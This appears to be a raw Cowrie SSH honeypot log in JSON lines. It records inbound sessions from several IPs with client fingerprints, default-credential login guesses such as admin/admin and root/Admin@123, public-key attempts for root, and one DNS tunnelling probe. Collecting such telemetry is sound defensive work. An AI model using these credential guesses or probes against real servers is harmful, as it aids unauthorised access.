{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:15:32.593961Z","src_ip":"87.251.64.176","session":"a282f0fd264f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:15:32.911025Z","src_ip":"87.251.64.176","session":"a282f0fd264f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:15:33.028951Z","session":"a282f0fd264f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:15:33.145312Z","src_ip":"87.251.64.176","session":"a282f0fd264f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:15:33.276582Z","src_ip":"87.251.64.176","session":"a282f0fd264f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.201","src_port":26496,"dst_ip":"10.17.0.5","dst_port":22,"session":"fdf67aac8e18","protocol":"ssh","message":"New connection: 94.26.106.201:26496 (10.17.0.5:22) [session: fdf67aac8e18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:17:59.741909Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:17:59.747333Z","src_ip":"94.26.106.201","session":"fdf67aac8e18","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.201","src_port":26510,"dst_ip":"10.17.0.5","dst_port":22,"session":"079bf3ff4a27","protocol":"ssh","message":"New connection: 94.26.106.201:26510 (10.17.0.5:22) [session: 079bf3ff4a27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:17:59.862713Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.3","message":"Remote SSH version: SSH-2.0-libssh_0.11.3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:17:59.867978Z","src_ip":"94.26.106.201","session":"079bf3ff4a27","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4ed0d5b0dc3be39c7f96ba3a3cc77895","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-cbc,aes128-cbc,aes192-cbc,aes256-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","3des-cbc","aes128-cbc","aes192-cbc","aes256-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:17:59.953671Z","src_ip":"94.26.106.201","session":"079bf3ff4a27","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin@123","message":"login attempt [root/Admin@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:18:00.127093Z","src_ip":"94.26.106.201","session":"079bf3ff4a27","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:18:01.214953Z","src_ip":"94.26.106.201","session":"079bf3ff4a27","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.236.86.20","src_port":46998,"dst_ip":"10.17.0.5","dst_port":22,"session":"ca8f435858ef","protocol":"ssh","message":"New connection: 109.236.86.20:46998 (10.17.0.5:22) [session: ca8f435858ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:18:21.571784Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:18:21.576458Z","src_ip":"109.236.86.20","session":"ca8f435858ef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:18:21.663737Z","src_ip":"109.236.86.20","session":"ca8f435858ef","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3f:78:f4:eb:9d:d7:7f:9f:a2:71:28:04:ed:d7:76:98","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDBSiYLA2HLAwCrCElraZTI7D7Vvd0urrFvViKREumW4wOB23VAHoFcl50niPDNypVgr/9+MjHs1wEm9vcDqYo6b/FShYjqlH0/7tBpqSUq8A8wChNWjvSLib3XXdup7LHIoJTD0qmzjGi/ZGp1+E7/9F7RcjHtY3T45mr1bFchgvpV4kLio+IrOGreEIBoAuaqAnKoSt80Rb3GB46w060+00p0HNiB4cZ5IAtSrmhl3i1wMduPt2GjKpAj1/3pkBUII6IfdnwX1lJkPgvbkdPjvsuPwJkbfxpYPvPYkRz3q/JKz0s5Wu8JHiMDBp2CTuCH10pQMHG4Wk+B8aLWlPx7","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3f:78:f4:eb:9d:d7:7f:9f:a2:71:28:04:ed:d7:76:98","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:18:22.080925Z","src_ip":"109.236.86.20","session":"ca8f435858ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3f:78:f4:eb:9d:d7:7f:9f:a2:71:28:04:ed:d7:76:98","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDBSiYLA2HLAwCrCElraZTI7D7Vvd0urrFvViKREumW4wOB23VAHoFcl50niPDNypVgr/9+MjHs1wEm9vcDqYo6b/FShYjqlH0/7tBpqSUq8A8wChNWjvSLib3XXdup7LHIoJTD0qmzjGi/ZGp1+E7/9F7RcjHtY3T45mr1bFchgvpV4kLio+IrOGreEIBoAuaqAnKoSt80Rb3GB46w060+00p0HNiB4cZ5IAtSrmhl3i1wMduPt2GjKpAj1/3pkBUII6IfdnwX1lJkPgvbkdPjvsuPwJkbfxpYPvPYkRz3q/JKz0s5Wu8JHiMDBp2CTuCH10pQMHG4Wk+B8aLWlPx7","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:18:22.084867Z","src_ip":"109.236.86.20","session":"ca8f435858ef","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e9:34:63:0c:5c:6e:74:a8:ad:4b:d5:8d:0f:71:43:b5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC+EJ46Kaw7dsLFyz6hWSktM3AEha4xxSX3MBejLmNykDhXoJnOB5NoVhT3DkRMzYjRqKXFEeggvWhaqCoJWvve9ekH6vA+wh0iGqPDkZpywFOb6NEqt6pBj6ZuRSIMHe0lGldKyBw6lrNOuoblE63aw3sdIqEr9jEsTbCxianwEWSRQJ8reD0nHejIuMrCnCFFsXAtmaSb3UppCoxxCosSI5J1G+sEVOui+ae8weFrhL5Uq8uuFij16r/ZQouC6APgDGcPJ9UNldtHcIrP7gmOTmdh/FYmhNtl1BD+YysX6bsMl1SOzW5oYTFWQadmSWbWawvkoIixbpe0WssXVuTz","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e9:34:63:0c:5c:6e:74:a8:ad:4b:d5:8d:0f:71:43:b5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:18:22.177999Z","src_ip":"109.236.86.20","session":"ca8f435858ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e9:34:63:0c:5c:6e:74:a8:ad:4b:d5:8d:0f:71:43:b5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC+EJ46Kaw7dsLFyz6hWSktM3AEha4xxSX3MBejLmNykDhXoJnOB5NoVhT3DkRMzYjRqKXFEeggvWhaqCoJWvve9ekH6vA+wh0iGqPDkZpywFOb6NEqt6pBj6ZuRSIMHe0lGldKyBw6lrNOuoblE63aw3sdIqEr9jEsTbCxianwEWSRQJ8reD0nHejIuMrCnCFFsXAtmaSb3UppCoxxCosSI5J1G+sEVOui+ae8weFrhL5Uq8uuFij16r/ZQouC6APgDGcPJ9UNldtHcIrP7gmOTmdh/FYmhNtl1BD+YysX6bsMl1SOzW5oYTFWQadmSWbWawvkoIixbpe0WssXVuTz","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:18:22.181980Z","src_ip":"109.236.86.20","session":"ca8f435858ef","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"54:6e:80:a4:99:d8:62:63:fb:2d:6b:fa:73:0a:87:3a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCullhWWEymQwwqj3l1aYfEZ2I0ddpKaH1NDTa9lNkoNHn+qBNuvY80M1IcBbhJpDxZj668v70AjDijejQtYcGeK4tXNYKFzPO+gDT1b3iDjZ9tjTH0PRos2TU6YXA/dp130eUlvQE2oNATpAqN+3iNbII3H/mjzTqnDsedsyLHc27fUCWy1mP4wto+54wQb56Tc1O7LcbcyLfPr+56Bco1qAP2o5F9C2j2VSdbnaOnuDCBhguL+nilDQM+kJa+W7MtBRCtFCSnddTBO21QXo8NepNu2gUKKgtBeqpNfWgNnN5c3IJLzK8pufZ2IlCIqhJRoT+daZB2xnqOcSDZgI0JJBncIHN/IVehKErcodAcq2QyZUTEM2ZVtWjqks6mxYbXf6v6aI4KjTzVxlBgnZRTNszo6dGLpBVg1S57WGPK82QaRuP9UNMtHSI7ihp5QXgFBOosgeP3SfDJnqdcgcCcpgvO8Dmb93w8wp3fFjOAhWVplgb2sxLYjiG3Hb5Wza7JgsXpavpUDfzjPQ8pOKnV479bH/bQxfIkZqbXMoHVcvqBcVK/BSoDjZaxp6a1O5+OteVkjFNlbOsOgDtRQ6ojjmAcHa9p+WAPzEfce7Ev1BE4OvjKE147p8VdAD26871x7Zb3gk4mwwdCR2OeoXZPaNzQWtkVMrBG0+P8gIA++w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 54:6e:80:a4:99:d8:62:63:fb:2d:6b:fa:73:0a:87:3a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:18:22.270860Z","src_ip":"109.236.86.20","session":"ca8f435858ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"54:6e:80:a4:99:d8:62:63:fb:2d:6b:fa:73:0a:87:3a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCullhWWEymQwwqj3l1aYfEZ2I0ddpKaH1NDTa9lNkoNHn+qBNuvY80M1IcBbhJpDxZj668v70AjDijejQtYcGeK4tXNYKFzPO+gDT1b3iDjZ9tjTH0PRos2TU6YXA/dp130eUlvQE2oNATpAqN+3iNbII3H/mjzTqnDsedsyLHc27fUCWy1mP4wto+54wQb56Tc1O7LcbcyLfPr+56Bco1qAP2o5F9C2j2VSdbnaOnuDCBhguL+nilDQM+kJa+W7MtBRCtFCSnddTBO21QXo8NepNu2gUKKgtBeqpNfWgNnN5c3IJLzK8pufZ2IlCIqhJRoT+daZB2xnqOcSDZgI0JJBncIHN/IVehKErcodAcq2QyZUTEM2ZVtWjqks6mxYbXf6v6aI4KjTzVxlBgnZRTNszo6dGLpBVg1S57WGPK82QaRuP9UNMtHSI7ihp5QXgFBOosgeP3SfDJnqdcgcCcpgvO8Dmb93w8wp3fFjOAhWVplgb2sxLYjiG3Hb5Wza7JgsXpavpUDfzjPQ8pOKnV479bH/bQxfIkZqbXMoHVcvqBcVK/BSoDjZaxp6a1O5+OteVkjFNlbOsOgDtRQ6ojjmAcHa9p+WAPzEfce7Ev1BE4OvjKE147p8VdAD26871x7Zb3gk4mwwdCR2OeoXZPaNzQWtkVMrBG0+P8gIA++w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:18:22.275346Z","src_ip":"109.236.86.20","session":"ca8f435858ef","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"71:0b:33:c1:b4:04:cb:c0:15:74:8b:8d:28:1d:27:38","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDU47CWqYqFEwXj7fAOSiOUPHQ3yFpjTafNeHWOeEuFLMoLBUtKW0KIi7qNxaGNg6q3et2ahvnkRb6l5HI/kbBPP+UPqKeWUFFpbLgk1+dj2vJHigqSjhzD8WFOk7erkBwdyxvhsskTqs/a5F5Gzzfyje1HMc0bKZ1bMC9t/hSj4x7wY5kV1iG73DM1LJRvLqhq9n/XVRj8xcq2w2UAr6pYpi41Hy4zJnUXLAOah19xNl8GT174NYI9cR4n955L0Pg4hIe+fhWaLApYPxmyNrR5lT+xOCA7bG3vorAv1wH3IQgZc4BqAxieP5qeu5MJhOiEJu3s8HlhMAosxBNPmFr3","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 71:0b:33:c1:b4:04:cb:c0:15:74:8b:8d:28:1d:27:38","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:18:22.363986Z","src_ip":"109.236.86.20","session":"ca8f435858ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"71:0b:33:c1:b4:04:cb:c0:15:74:8b:8d:28:1d:27:38","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDU47CWqYqFEwXj7fAOSiOUPHQ3yFpjTafNeHWOeEuFLMoLBUtKW0KIi7qNxaGNg6q3et2ahvnkRb6l5HI/kbBPP+UPqKeWUFFpbLgk1+dj2vJHigqSjhzD8WFOk7erkBwdyxvhsskTqs/a5F5Gzzfyje1HMc0bKZ1bMC9t/hSj4x7wY5kV1iG73DM1LJRvLqhq9n/XVRj8xcq2w2UAr6pYpi41Hy4zJnUXLAOah19xNl8GT174NYI9cR4n955L0Pg4hIe+fhWaLApYPxmyNrR5lT+xOCA7bG3vorAv1wH3IQgZc4BqAxieP5qeu5MJhOiEJu3s8HlhMAosxBNPmFr3","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:18:22.368019Z","src_ip":"109.236.86.20","session":"ca8f435858ef","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"58:b2:2c:38:ee:97:c4:5e:b8:7e:85:38:8f:09:ce:55","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDmW+020IqBulJY1LaBbHGe5K3uKfrzQgQjGymTrAiJ9/UCmO0cs6jLwzEgI+Jn7d0nCnCxRnaNk7bi7SuewNhv7z6A00n/rKK+N4WJjPeaANbXWTAbmZdCAya4Hn4xbaQ5Qkztokk0chqojDG9yHJiI/b3ITN2XxOdJPcLli1E3h+pwMt/J4Bt6x+Lmm1jXnattSeapB8C6flPm2qJAMCUWmChHyTblDaM2xZbcSYopuej7nPo8I13FI43XuI3j/qQQj9IESyup58O1YL+relMkkPgGXodebl8pZLh7eysexdPOVQG4+De73CoxqXhAhWjXH9Mqt8CFzhgHR+L7wDn","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 58:b2:2c:38:ee:97:c4:5e:b8:7e:85:38:8f:09:ce:55","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:18:22.456672Z","src_ip":"109.236.86.20","session":"ca8f435858ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"58:b2:2c:38:ee:97:c4:5e:b8:7e:85:38:8f:09:ce:55","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDmW+020IqBulJY1LaBbHGe5K3uKfrzQgQjGymTrAiJ9/UCmO0cs6jLwzEgI+Jn7d0nCnCxRnaNk7bi7SuewNhv7z6A00n/rKK+N4WJjPeaANbXWTAbmZdCAya4Hn4xbaQ5Qkztokk0chqojDG9yHJiI/b3ITN2XxOdJPcLli1E3h+pwMt/J4Bt6x+Lmm1jXnattSeapB8C6flPm2qJAMCUWmChHyTblDaM2xZbcSYopuej7nPo8I13FI43XuI3j/qQQj9IESyup58O1YL+relMkkPgGXodebl8pZLh7eysexdPOVQG4+De73CoxqXhAhWjXH9Mqt8CFzhgHR+L7wDn","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:18:22.460529Z","src_ip":"109.236.86.20","session":"ca8f435858ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:18:22.550867Z","src_ip":"109.236.86.20","session":"ca8f435858ef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"148.135.70.18","src_port":45434,"dst_ip":"10.17.0.5","dst_port":22,"session":"2ae5c9eff55a","protocol":"ssh","message":"New connection: 148.135.70.18:45434 (10.17.0.5:22) [session: 2ae5c9eff55a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:19:41.821864Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:19:41.828769Z","src_ip":"148.135.70.18","session":"2ae5c9eff55a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:19:41.902048Z","src_ip":"148.135.70.18","session":"2ae5c9eff55a","protocol":"ssh"}
